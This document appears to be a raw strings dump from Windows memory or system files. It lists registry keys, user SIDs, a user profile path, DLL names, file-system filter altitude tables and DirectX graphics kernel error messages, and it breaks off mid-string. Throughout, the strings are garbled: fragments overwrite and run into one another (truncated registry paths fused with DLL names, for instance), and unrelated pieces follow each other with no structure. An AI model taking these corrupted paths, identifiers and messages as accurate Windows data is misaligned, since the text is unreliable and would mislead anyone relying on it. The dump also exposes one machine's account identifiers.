\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} S-1-15-2-3950126717-3641943460-3038804466-693777006-783539386-1288712031-1294249617 \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\TypeLib \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046} \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsConnections \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig B7F46E~1 3aa399275b2302e207290 BC06E130E9} \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsConnections \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\InterfaceSpecificParameters C07DBF~1 4ad434eee98ecd8287f5b 256930~1 9b302c3b7502992eb741d DEA039~1 81e3e807a8f0684433db5 \Device\HarddiskVolume3\Windows\Prefetch\SECURITYHEALTHSERVICE.EXE-91B5FB98.pf S-1-15-2-350187224-1905355452-1037786396-3028148496-2624191407-3283318427-1255436723 9CC355~1b70e42aa87d1817f20f96874 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave 91800C~1 b7253e7425341cee1117e \Users\job\AppData\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave WINNSI.DLL \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-18 \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-18 \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-18 \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\InterfaceSpecificParameters \REGISTRY\MACHINE\SOFTWA WINNSI.DLLCLSID\{2593f8b9-4eaf-457c-b68a-50f6b8ea6b54} \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetCache \REGISTRY\MACHINE\SOFTWA WINNSI.DLLCLSID\{2593f8b9-4eaf-457c-b68a-50f6b8ea6b54} profapi.dll profapi.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-18 DPAPI.DLL MSASN1.dll OSOFT.WINDOWS.CONTENTDELIVER MSASN1.dll.0.26100.1_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY DPAPI.DLL MSASN1.dll MSASN1.dll CRYPTSP.dll \REGISTRY\MACHINE\SOFTWA CRYPTSP.dllLSID\{3FBF60BD-90B2-2C2F-7286-128BBCF72015} \REGISTRY\MACHINE\SOFTWA CRYPTSP.dllLSID\{3FBF60BD-90B2-2C2F-7286-128BBCF72015} OSOFT.WINDOWS.CONTENTDELIVER MSASN1.dll.0.26100.1_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY \REGISTRY\MACHINE\SOFTWA DPAPI.DLL\CLSID\{3FBF60BD-90B2-2C2F-7286-128BBCF72015} CRYPTSP.dll DPAPI.DLL CRYPTSP.dll OSOFT.WINDOWS.CONTENTDELIVER MSASN1.dll.0.26100.1_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY CRYPTSP.dll MSASN1.dll DPAPI.DLL MSASN1.dll \REGISTRY\MACHINE\SOFTWA DPAPI.DLL\CLSID\{3FBF60BD-90B2-2C2F-7286-128BBCF72015} MSASN1.dll MSASN1.dll CRYPTSP.dll OSOFT.WINDOWS.CONTENTDELIVER CRYPTSP.dll0.26100.1_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY OSOFT.WINDOWS.CONTENTDELIVER MSASN1.dll.0.26100.1_NEUTRAL_NEUTRAL_CW5N1H2TXYEWY bcrypt.dll bcrypt.dll bcrypt.dll bcrypt.dll bcrypt.dll CRYPTSP.dll bcrypt.dll \REGISTRY\MACHINE\SOFTWA bcrypt.dllCLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628} bcrypt.dll CRYPTSP.dll bcrypt.dll \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones CRYPTSP.dll urlmon.dll urlmon.dll INetHistory INetHistory \REGISTRY\MACHINE\SOFTWA urlmon.dllAppID\{15c20b67-12e7-4bb6-92bb-7aff07997402} urlmon.dll \REGISTRY\MACHINE\SOFTWA bcrypt.dllAppID\{15c20b67-12e7-4bb6-92bb-7aff07997402} urlmon.dll \REGISTRY\MACHINE\SOFTWA bcrypt.dllAppID\{15c20b67-12e7-4bb6-92bb-7aff07997402} istry\Machine\Software\Micro urlmon.dlls NT\CurrentVersion\AppCompatFlags\SdbUpdates \REGISTRY\MACHINE\SOFTWA urlmon.dllAppID\{15c20b67-12e7-4bb6-92bb-7aff07997402} urlmon.dll \REGISTRY\MACHINE\SOFTWA urlmon.dllAppID\{15c20b67-12e7-4bb6-92bb-7aff07997402} \REGISTRY\MACHINE\SOFTWA urlmon.dllAppID\{15c20b67-12e7-4bb6-92bb-7aff07997402} urlmon.dll machine.pckgdep \ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy\machine.pckgdep . ChainingMode BlockLength HashDigestLength Rfc3565KeyWrapBlob KeyDataBlob TargetNtPath Path \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Appx\CodeIntegrity\Roots RSAPRIVATEBLOB {5D624F94-8850-40C3-A3FA-A4FD2080BAF3} ClipProductOptions CloudbookDeviceID Security-SPP-IgnoreDeferredActivation CloudbookDeviceLocked ProductPolicy \Registry\Machine\System\CurrentControlSet\Control\ProductOptions OSProductContentId OSProductPfn Clip-SubscriptionPFN Security-SPP-FlexibleClip-IndependentActivation Security-SPP-Action-StateData Security-SPP-GenuineLocalStatus Virtualization-AllowInheritance ConsumeAddonPolicySet Security-SPP-FlexibleClipEnabled Kernel-ProductInfo Security-SPP-AzureImdsResponse TerminalServices-RemoteConnectionManager-AllowAppServerMode Virtualization-ActivateCloud Virtualization-DesktopAccess Security-SPP-LastWindowsActivationTime Security-SPP-LastWindowsActivationHResult SMR-HostManaged-Enabled Kernel-ExpirationDate :$DATA FltMgr.sys The specified minifilter does not support bypass IO. FLAGS INSTANCES ALTITUDE DEFAULTINSTANCE \$Volume \mailslot \pipe cCountersSampling \Registry\Machine\System\CurrentControlSet\Services\FltMgr\OneSettings\ CountersEnabled SupportedFeatures GROUP \Registry\Machine\System\ControlSet001\Services\ \Device\MountPointManager cMaxEntriesFlushed MinEntriesFlushed MaxEntriesStored SummaryCount NumAllocationFailures NumFlushes NumLargeEventFailures NumBucketLimitReached TotalEntriesFlushed Callback node pre operation was a create which Completed successfully Callback node pre operation was a create which was left pending Callback node pre operation was a create Disallow Fast IO Callback node pre operation was a create which was completed Callback node pre operation was a create syncronize Callback node pre operation was a create Disallow FsFilter IO Callback node post operation was a create which was completed Callback node post operation was a create which was cancelled Callback node pre operation was a non-create which Completed successfully Callback node pre operation was a non-create which was left pending Callback node pre operation was a non-create Disallow Fast IO Callback node pre operation was a non-create which was completed Callback node pre operation was a non-create syncronize Callback node pre operation was a non-create Disallow FsFilter IO Callback node post operation was a non-create which was completed Callback node post operation was a non-create which was cancelled Callback node operation was not of a known type. 420000 429999 400000 409999 200000 209999 180000 189999 170000 174999 160000 169999 140000 149999 130000 139999 100000 109999 80000 89999 60000 69999 40000 49999 20000 29999 System Volume Information 392000 394999 320000 329999 272000 274999 52000 54999 \FileSystem\Fs_Rec \FileSystem\Filters\FltMgr Unknown \Registry\Machine\System\CurrentControlSet\Control\FileSystem\ FilterSupportedFeaturesMode \DosDevices\FltMgr DebugFlags LostItemDetectionDelay UseTildeShortcut FastManualAttachTimerPeriod ManualAttachTimerPeriod ManualAttachDelay CallbackStackSwapThreshold ManualAttachIgnoredDevices ManualAttachOnlyOnceDevices ManualAttachFastAttachDevices DisableFrameMonitoring Filter 429998.99 FSFilter Top 409998.99 FSFilter Activity Monitor 389998.99 FSFilter Undelete 349998.99 FSFilter Anti-Virus 329998.99 FSFilter Replication 309998.99 FSFilter Continuous Backup 289998.99 FSFilter Content Screener 269998.99 FSFilter Quota Management 249998.99 FSFilter System Recovery 229998.99 FSFilter Cluster File System 209998.99 FSFilter HSM 189998.99 FSFilter Imaging 174998.99 FSFilter Compression 169998.99 FSFilter Encryption 149998.99 FSFilter Virtualization 139998.99 FSFilter Physical Quota management 129998.99 FSFilter Open File 109998.99 FSFilter Security Enhancer 89998.99 FSFilter Copy Protection 69998.99 FSFilter Bottom 49998.99 FSFilter System 29998.99 e\Device\RawDisk \Device\RawCdRom Group \Device\NetWareRedirector \Device\NamedPipe \Device\Mailslot NULL \Device\Mup \FileSystem\Filters\FltMgrMsg sFilterConnectionPort FilterCommunicationPort \DosDevices\FltMgrMsg true false LegacyFiltersPresent ["%wZ","%u.%u","%wZ"] ] } { "legacy_filters" : [ ["%wZ","0x%0*X"] { "flags" : "0x%0*X" , "registration_version" : "0x%0*X" , "tx" : %s , "sections" : %s , "frame" : %d , "class_name" : "%wZ" , "supportedFeatures": "0x%0*X" , "instances" : %wZ } \FileSystem\RAW NTFS \FileSystem\Ntfs \FileSystem\Fastfat CDFS \FileSystem\Cdfs UDFS \FileSystem\Udfs \FileSystem\MRxSmb WebDAV \FileSystem\MRxDav TermSrv \Driver\rdpdr \FileSystem\NfsRdr MS-NetWare \FileSystem\nwrdr NetWare \FileSystem\NetwareWorkstation BS-UDF \FileSystem\BsUDF Remote \FileSystem\Mup WinFS \FileSystem\RsFxDrv Roxio-UDF1 \FileSystem\cdudf_xp Roxio-UDF2 \FileSystem\UdfReadr_xp Roxio-UDF3 \FileSystem\DVDVRRdr_xp Tacit \Device\TCFSPSE FS_REC \FileSystem\Fs_rec InCD-CDFS \FileSystem\InCDfs InCD-FAT \FileSystem\InCDFat exFAT \FileSystem\exfat PSFS \FileSystem\psfs GPFS \FileSystem\gpfs NamedPipe \FileSystem\npfs Mailslot \FileSystem\Msfs CsvFs \FileSystem\CsvFs ReFS \FileSystem\Refsv1 \FileSystem\Refs OpenAFS \Device\AFSRedirector CIMFS \FileSystem\cimfs \Driver\RAW \Driver\Ntfs \Driver\Fastfat \Driver\Cdfs \Driver\Udfs \Driver\MRxSmb \Driver\MRxDav \Driver\NfsRdr \Driver\nwrdr \Driver\npfs \Driver\Msfs \Driver\Refs FltmgrDevDriveAttachPolicy \Registry\Machine\System\CurrentControlSet\Policies RtlQueryRegistryValuesEx FltmgrDevDriveAllowAntivirusFilter \Registry\Machine\System\CurrentControlSet\Control\FilterManager %lld %s %lld \Registry\Machine\System\CurrentControlSet\Services\FltMgr @@@@ @@@@ lsasspirpc Ksecdd Async Performance Diagnostics \SECURITY\LSA_AUTHENTICATION_INITIALIZED @@@@ \Device\CNG \Device\KsecDD Negotiate default SHA256 RSAPUBLICBLOB ECCPUBLICBLOB TELASSERT \RPC Control\ ncalrpc epmapper 0123456789abcdef "/\[]:|<>+=;,? :\pagefile.sys \REGISTRY\MACHINE\INITIALMACHINECONFIG \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\INITIALMACHINECONFIG CURRENTCONTROLSET\CONTROL\INITIALMACHINECONFIG Sequence ProcessImc ForceImcUpdate KeepImcHiveLoaded ErrorControlPolicy ApplicationPolicy _GLOBAL \REGISTRY\MACHINE\SYSTEM SYSTEM NOT HIVE SPECIFIC ComputerName HostName \REGISTRY\MACHINE\INITIALMACHINECONFIG\System\ControlSet001\Control\ComputerName\ComputerName \REGISTRY\MACHINE\INITIALMACHINECONFIG\System\ControlSet001\Control\Session Manager\Memory Management \REGISTRY\MACHINE\System\ControlSet001\Control\ComputerName\ComputerName \REGISTRY\MACHINE\System\Setup\DJOIN \REGISTRY\MACHINE\System\ControlSet001\Control\Session Manager\Memory Management \REGISTRY\MACHINE\System\ControlSet001\Services\Partmgr\Parameters \REGISTRY\MACHINE\System\ControlSet001\Services\TcpIp\Parameters MarkUnattendSetComputerName IMCComputerNameSet NV HostName PagingFiles SanPolicy \WindowsErrorReportingServicePort \KernelObjects\SystemErrorPortReady NULL \SystemRoot\LiveKernelReports Busy *.dmp FullLiveKernelReports %ws-%04u%02u%02u-%02u%02u.dmp LiveKernelReports OverrideThrottleThreshold \Registry\Machine\System\CurrentControlSet\Control\CrashControl\FullLiveKernelReports %ws\%ws VerifierExt LastFullLiveReport FullLiveReportsMax ComponentThrottleThreshold SystemMemoryThrottleThresholdInGB SystemThrottleThreshold VrfComponentThrottleThreshold VrfSystemThrottleThreshold LiveKernelReportsPath LiveKernelReportsQueueRoot \Registry\Machine\System\CurrentControlSet\Control\CrashControl\LiveKernelReports \SystemRoot\System32 wersvc.dll %wZ\%ws %wZ\%ws\%ws \Registry\Machine\System\CurrentControlSet\Control\CrashControl mcupdate.dll \Callback\PowerState \SystemRoot\System32\mcupdate_ .dll API- EXT- dccigdi-l1-1-0 ext-ms-win-core-win32k-dxgdi-l1-1-0 ext-ms-win-core-win32k-inputmit-l1-1-0 eext-ms-win-core-win32k-mininputmitbase-l1-1-0 ext-ms-win-core-win32k-mininputmit-l1-1-0 ext-ms-win-core-win32k-mindwm-l1-1-0 eext-ms-win-core-win32k-minuser-l1-1-0 ext-ms-win-core-win32k-inputrim-l1-1-0 eext-ms-win-core-win32k-common-inputrim-l1-1-0 ext-ms-win-core-win32k-fulldwm-l1-1-0 ext-ms-win-core-win32k-common-input-l1-1-0 ext-ms-win-core-win32k-fulluser64-l1-1-0 ext-ms-win-core-win32k-baseinit-l1-1-0 0-LevelSizeLg2 BreakOnError \Registry\Machine\System\CurrentControlSet\Control\Watchdog\Logging BreakOnAssertion ImagePath SystemRoot\ MiniSetupInProgress SystemSetupInProgress \Registry\Machine\System\Setup UpgradeInProgress MaxObjectNumber VIDEO ObjectNumberList TDR_RECOVERY SDC_FORCE_MODE_ENUMERATION GraphicsDrivers\TdrWatch %s%d%d WATCHDOG (AccessType != DXGDEVICEACCESS_RENDERANDDISPLAY) || ((pDevice->GetDisplayAdapter(VidPnSourceId) != NULL) && pDevice->GetDisplayAdapter(VidPnSourceId)->IsDisplayAdapter()) Failed to allocate memory for doubly linked list element i_rList.IsValid() Handle type mismatch Driver returned an invalid NTSTATUS code: 0x%I64x NULL Failed to allocated a work item Failed to acquire session mode change lock shared (Status = 0x%I64x) \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\Configuration\ Failed to get pairing adapters from adapter 0x%I64x VidPn source 0x%I64x (Status 0x%I64x)! Invalid hDevice specified: 0x%I64x, returning 0x%I64x Invalid allocation handle: 0x%I64x 0x%I64x failed with invalid hContext 0x%I64x returning 0x%I64x Invalid source ID 0x%I64x 0x%I64x failed to acquire hSyncObject 0x%I64x at index %I64d returning 0x%I64x WaitForSynchronizationObjectFromGpu on device 0x%p attempts to use a sync object opened on a different device 0x%p. Failed to find DXGPROCESS unexpected process 0x%I64x returning 0x%I64x Invalid process context, returning 0x%I64x There should be at least one broadcast hardware queue passed to signal. pWindowClientRect != NULL DXGCONTEXT 0x%p failed to acquire reference. Mismatch between device and allocation device. Device: 0x%I64x, Allocation Device: 0x%I64x 0x%p mixes monitored fence and non-monitored fence sync objects in one wait call. Invalid history buffer passed to SubmitCommand. Allocation 0x%p does not have a VidMm handle Fail to get VidPnMgr on adapter 0x%I64x! 0x%I64x submitted an invalid out of order wait for sync object. Returning 0x%I64x 0x%p failed, can not wait on CPU Notification object 0x%x at index %d Device 0x%I64x: Cannot allocate allocation handle array 0x%I64x SetId Mismatch between device and resource device. Device: 0x%I64x, Resource Device: 0x%I64x Device 0x%I64x: Allocation 0x%p does not belong to the provided adapter, returning 0x%I64x \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\Connectivity\ DXGDEVICESYNCOBJECT 0x%x is a native fence object and has a NULL Driver Handle, returning STATUS_INVALID_PARAMETER 0x%p can only wait on one fence object at a time instead of %d _CcdCreateKeyFromSetIdStr failed: (Status = 0x%I64x) Control Panel\Desktop\PerMonitorSettings\ Failed to find DxgProcess for process handle 0x%I64x Mismatch between paging queue device and allocation device. Paging Queue Device: 0x%I64x, Allocation Device: 0x%I64x 0x%I64x encountered exception, MonitoredFenceValueArray may not be null for monitored fence types. Unable to open HKey root handle (Status = 0x%I64x) Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkIsVirtualModeDisabledForPath function. Failed to open HKey root (Status = 0x%I64x) Failed to create o_pMonitorSetId->Buffer of size 0x%I64x DpiValue Unexpected status returned (expected STATUS_BUFFER_TOO_SMALL, obtained Status = 0x%I64x) CurrentControlSet\Control\GraphicsDrivers\ScaleFactors \Registry\Machine\System Failed (0x%I64x) to acquire shared access for adapter LUID: 0x%I64x%08I64x Failed to find output technology type for adapter 0x%I64x with status 0x%I64x Invalid monitor Id. (Status = 0x%I64x, o_szMonitorId = 0x%I64x, i_MonitorIdMaxLen, pDxgAdapter->GetLuid() = 0x%I64x%08I64x) Client VidPN is not set on adapter 0x%I64x%08I64x (i.e. no user initiated mode changes took place yet) Unable to get Monitor ID from Target ID pMonitorHashArraySize cannot be null Failed to retrieve monitor handle. (Status = 0x%I64x, i_VidPnTargetId = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x) hContext 0x%I64x waiting on too many objects %I64d, returning 0x%I64x There should be at least one sync object passed to signal. IsVirtualizationDisabledForTarget failed on VidPn Target 0x%I64x adapter 0x%I64x, returning 0x%I64x. Invalid hDevice (0x%I64x) specified, returning 0x%I64x Failed to create DXGTHREAD for current thread. Failed to allocate DXGTHREAD for thread 0xI64x. Failed to wait for event! Invalid device handle this->GetNumElements() == 0 Failed to allocate 0x%I64x byte memory for GAMMA RAMP. Caller specified gamma ramp does not have the gamma table it should have. Caller specified gamma ramp type 0x%I64x is not valid. Can't find room in device primary allocation array GammaRamp size 0x%I64x does not match the gamma ramp type 0x%I64x, returning 0x%I64x Caller specified gamma ramp has invalid gamma type 0x%I64x. Failed to allocate MDL from MmAllocatePagesForMdlEx, Size=%I64u, CacheType=%u m_pGlobal != NULL Failed to allocate VMBPACKET Invalid VidPnSourceId (0x%I64x) specified, returning 0x%I64x pRenderAdapter->IsRenderAdapter() pDisplayAdapter->IsDisplayAdapter() Invalid hAdapter (0x%I64x) specified, returning 0x%I64x Failed to get pairing adapters from adapter 0x%I64x for DxgkGetPresentHistory (Status = 0x%I64x)! Failed to get pairing adapters from adapter 0x%I64x NT_SUCCESS(Status) TokenSize > 0 pRenderAdapter != NULL pToken->Token.Flip.Flags.IndependentFlip Invalid adapter, pDxgProcess=0x%I64x, hAdapter=0x%8x Current session does not have session data in session 0x%I64x, returning 0x%I64x. Failed to get the paired render adapter for indirect display adapter 0x%I64x, (Status = 0x%I64x). WARP render only adapter is not ready to be used with display only adapter 0x%I64x, returning 0x%I64x. NULL present history pointer, returning 0x%I64x pToken->Token.Flip.Flags.IndependentFlipStage == D3DKMT_FLIPMODEL_INDEPENDENT_FLIP_STAGE_FLIP_SUBMITTED || pToken->Token.Flip.Flags.IndependentFlipStage == D3DKMT_FLIPMODEL_INDEPENDENT_FLIP_STAGE_FLIP_COMPLETE Failed to aquire adapter access on adapter = 0x%I64x%08I64x , Status = 0x%I64x. hContext 0x%I64x can't wait on zero object, returning 0x%I64x Keyed mutex 0x%I64x is not owned by this device, returning 0x%I64x Invalid device handle 0x%I64x 0x%I64x 0x%I64x Context 0x%I64x does not own DxgiKeyedMutex 0x%I64x, context 0x%I64x does Failed to acquire DMA buffer for context = 0x%I64x GetCurrentKeyedMutex()->Acquire failed with something other than STATUS_TIMEOUT. Status = 0x%I64x Process pointer position failed in vidpn: 0x%I64x, idx: 0x%I64x, status: 0x%I64x Call only valid for fence objects Failed to set Gdi region to rect 0x%I64x Failed to process new move regions, this = 0x%I64x DWM is passing in a NULL rect, DWM needs to investigate!! Failed to expand dirty rect list to 0x%I64x rects Failed to expand tmp buffer for meta data logging packet. Failed to log diag packet 0x%I64x pKeyedMutex 0x%I64x: Fail to allocate per process handle, returning 0x%I64x Failed to process new dirty against move list Failed to copy pixel data from new present rgns, Status 0x%I64x The (left, top) of blit sub rect (0x%I64x,0x%I64x) is outside of dst rectangle (0x%I64x,0x%I64x) 0x%I64x fails Present hSource is for the wrong adapter Context 0x%I64x: Invalid hAllocation specified: 0x%I64x, returning 0x%I64x 0x%I64x fails Present, failed to take adapter core access shared lock Failed to acquire DMA buffer 0x%I64x Failed to allocate VIDMM_MULTI_ALLOC* array, returning 0x%I64x Failed to allocate memory for D3DDDI_UPDATEGPUVIRTUALADDRESS_OPERATION, returning 0x%I64x Unexpected process 0x%I64x 0x%I64x Failed to allocate DXGALLOCATIONREFERENCE array, returning 0x%I64x Failed to combine present regions to metadata Failed to copy pixel data from accumulated + new present rgns, Status 0x%I64x ret = 0x%I64x Context 0x%I64x: DdiDescribeAllocation failed for source 0x%I64x 0x%I64x 0x%I64x DOD Present 0x%I64x Lock failed 0x%I64x 0x%I64x 0x%I64x 0x%I64x Failed to submit GPU signal for DxgiKeyedMutex 0x%I64x 0x%I64x fails Present invalid hSource 0x%I64x Process present failed for context 0x%I64x Should be called with a non-NULL DXGCONTEXT ret = 0x%I64x Context 0x%I64x: DdiDescribeAllocation failed for destination 0x%I64x 0x%I64x 0x%I64x Invalid object count 0x%I64x Failed to combine current dirty rect with dirty region Failed to query source surface size for source 0x%I64x, device 0x%I64x DxgiKeyedMutex 0x%I64x has not been acquired Signaling too many objects %d Failed to process dirty rect against dirty list, Idx 0x%I64x, pRect 0x%I64x Failed to convert rect list to Gdi region PRESENTDODARG 0x%I64x: failed to allocate 0x%I64x dirty rects Keyed mutex does not support recursive Acquire's, returning 0x%I64x, pKeyedMutex = 0x%I64x, hKeyedMutex = 0x%I64x Invalid Dod esacpe Context 0x%I64x: Source allocation: 0x%I64x for Present is not DOD primary, returning 0x%I64x Invalid source handle 0x%I64x Failed to get dirty rect from Gdi region, this = 0x%I64x DOD Present : 0x%I64x is returned for invalid primary format 0x%I64x Failed to process new dirty rects, this = 0x%I64x Out of memory allocating DXGSYNCOBJECT class, returning 0x%I64x ppSyncObject != NULL || ppDeviceSyncObject != NULL Cannot create syncobject using both SyncObjectInfo and NativeFenceInfo, returning 0x%I64x Cannot create syncobject without specifying either SyncObjectInfo and NativeFenceInfo, returning 0x%I64x SignalByKmd can only be set for D3DDDI_CPU_NOTIFICATION objects Failed to expand temp buffer for submitting presents. Failed to capture multi plane overlay parameters 0x%I64x 0x%I64x Invalid HDR metadata type 0x%I64x specified, returning 0x%I64x Invalid AllocationCount, returing 0x%I64x at 0x%I64x Invalid DirtyRectCount:%u on plane %u, returing 0x%I64x (STATUS_GRAPHICS_ALLOCATION_BUSY == ntStatus) || (STATUS_DEVICE_REMOVED == ntStatus) || (STATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE == ntStatus) ret = 0x%I64x Context 0x%I64x Clip rect is outside of virtual mode rect, index 0x%I64x ret = 0x%I64x Context 0x%I64x Source rect is outside of allocation rect, index 0x%I64x ret = 0x%I64x Context 0x%I64x Clip rect is outside of destination rect, index 0x%I64x ret = 0x%I64x Context 0x%I64x Destination rect is invalid, index 0x%I64x ret = 0x%I64x Context 0x%I64x Source rect is invalid, index 0x%I64x ret = 0x%I64x Context 0x%I64x Clip rect is invalid, index 0x%I64x 0x%I64x Context 0x%I64x PresentMPO fails because the driver doesn't support MPO and 0x%I64x planes are specified DxgIsRemoteSessionUsingXddmMonitors() Failed to find remote output duplication manager Caller specified adapter 0x%I64x is not an Indirect Display Adapter, returning 0x%I64x. Failed to alloc buffer for kernel copy of meta data. VidPn source 0x%I64x is not valid for output duplication manager DXGSESSIONDATA is NULL Invalid packet size: 0x%I64x Presenting from unexpected process 0x%I64x 0x%I64x Invalid hHwContext (0x%I64x) specified, returning 0x%I64x Failed to create HwQueue, returning: 0x%I64x Failed to allocate VidSchSubmitData 0x%I64x failed with invalid hHwQueue 0x%I64x returning 0x%I64x 0x%I64x fails as specified NumWrittenPrimaries 0x%I64x exceeds limit 0x%I64x returning 0x%I64x Kernel mode submission not supported on UserModeSubmission DXGHWQUEUE 0x%I64x, returning 0x%I64x \VGPUCreator No pAdapter specified, returning 0x%I64x Failed to allocate WrittenPrimariesLocal Invalid Written Primaries array Invalid header; io_pHeader = 0x%I64x Caller specified adapter handle 0x%I64x is a render only adapter. \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\AdditionalModeLists\ INTERNAL Getting meta data with non-zero offset (0x%I64x) is not supported GetSetMetadata caller (0x%I64x) does not own the swapchain 0x%I64x SetMetaDataInternal caller (0x%I64x) provided metadata of size 0x%I64x which is bigger than max 0x%I64x DISPLAYPORT GetSetMetadata caller (0x%I64x) passed in buffer size of zero Present to Indirect display does not have a shared swapchain to present to The selected adapter is render-only m_SwapChainLock.IsOwner() GetRenderCore()->IsCoreResourceExclusiveOwner() m_OwnerAcquireCount > 0 0 == m_OwnerAcquireCount NULL == m_OwningThread DxgkSignalSynchronizationObjectFromGpu2 DxgkSignalSynchronizationObjectFromGpu DxgkWaitForVerticalBlankEvent DxgkDestroyAllocation2 DxgkCreateAllocation Unknown DxgkQueryDisplayConfig DxgkNotifyProcessFreezeCallout DxgkMakeResident DxgkSetVidPnSourceOwner1 DxgkReclaimAllocations DxgkDisplayConfigDeviceInfo DxgkMapGpuVirtualAddress DxgkSetDisplayMode DxgkUnlock2 DxgkSubmitCommand DpiDispatchInternalIoctl DxgkGetPostCompositionCaps DxgkFlushPresentHistory DxgkCreateSynchronizationObject DxgkWaitForSynchronizationObject DxgkGetMonitorDeviceObject DxgkOfferAllocations DxgkGetPresentHistory IterateProcessAndApplyCSFn: Failed to allocate ProcessListEntry No non-direct display presents can go to indirect display device ret = 0x%I64x 0x%I64x 0x%I64x 0x%I64x RedirectedFlip doesn't support Present regions. Present is not supported on MCDM adapter context 0x%I64x FlipStereoTemporaryMono and FlipStereo cannot be set together. STATUS_INVALID_PARAMETER Indirect Display present can only be used with a indirect display Dod driver Expecting indirect display presents to be a shared surface An invalid VidPn source ID was supplied to an indirect present (%I64d) 0x%I64x 0x%I64x Source of Flip must be primary 0x%I64x 0x%I64x 0x%I64x DxgkPresent is called for flip on a render only device 0x%I64x, returning 0x%I64x. Indirect Display present has to be on a context associated with Dod Device 0x%p does not match allocation 0x%p owner, returning 0x%I64x 0x%I64x Out of memory allocating DXGPRESENT, 0x%I64x 0x%I64x 0x%I64x 0x%I64x failed with invalid broadcast context 0x%I64x at index %I64d returning 0x%I64x Context physical adapters must be in the increasing adapter ordinal order, returning 0x%I64x Failed to allocate memory for present parameters. Returing 0x%I64x 0x%I64x from 0x%I64x SubRectCnt = 0x%I64d (GetDisplayAdapter(VidPnSourceId) == GetDisplayAdapter(0)) && (GetDisplayAdapter(VidPnSourceId) != NULL) && GetDisplayAdapter(VidPnSourceId)->IsDisplayAdapter() && GetDisplayAdapter(VidPnSourceId)->GetDisplayCore()->IsCoreResourceSharedOwner() i_Id != D3DDDI_ID_UNINITIALIZED Failed to allocate memory for the combined mode list for %I64d of D3DKMT_DISPLAYMODE. i > j m_PrimaryAllocation[VidPnSourceId][Index]->m_pAllocation->m_Primary Failed to disable scanning from primary on source 0x%I64x of adapter 0x%I64x (status = 0x%I64x) m_DisplayCore->IsDisplayStateMutexOwner() m_MaxPlanesUsed > PlaneIndex !Enabled || pAllocation != NULL Failed to enable scanning from primary on source 0x%I64x on adapter 0x%I64x (status = 0x%I64x) ret = 0x%I64x Device 0x%I64x: Only primary can be used 0x%I64x 0x%I64x 0x%I64x Failed to send OCCLUSION WNF notification to active session %u, status = 0x%I64x. Failed to get service session ID from server silo of current session %u. Failed to disable CDD mode on adapter 0x%I64x VidPn source 0x%I64x (Status = 0x%I64x). GetDisplayAdapter(VidPnSourceId)->IsCoreResourceExclusiveOwner() newRefCount > 1 bInsertTailStatus == TRUE Invalid hSyncObj (0x%I64x) specified, returning 0x%I64x Present is not supported on MCDM adapter device 0x%I64x Invalid PresentHistoryToken Mode, returning 0x%I64x Failed to acquire CoreDeviceAccess, returning 0x%I64x Caller specified an invalid adapter handle, returning 0x%I64x DmmGetCurrentWireFormatAndColorSpace() failed on adapter:0x%I64x%08I64x source:0x%I64x target:0x%I64x (Status = 0x%I64x). Timestamp (pPathDescriptor->DwmClipBox.top >= 0) && (pPathDescriptor->DwmClipBox.left >= 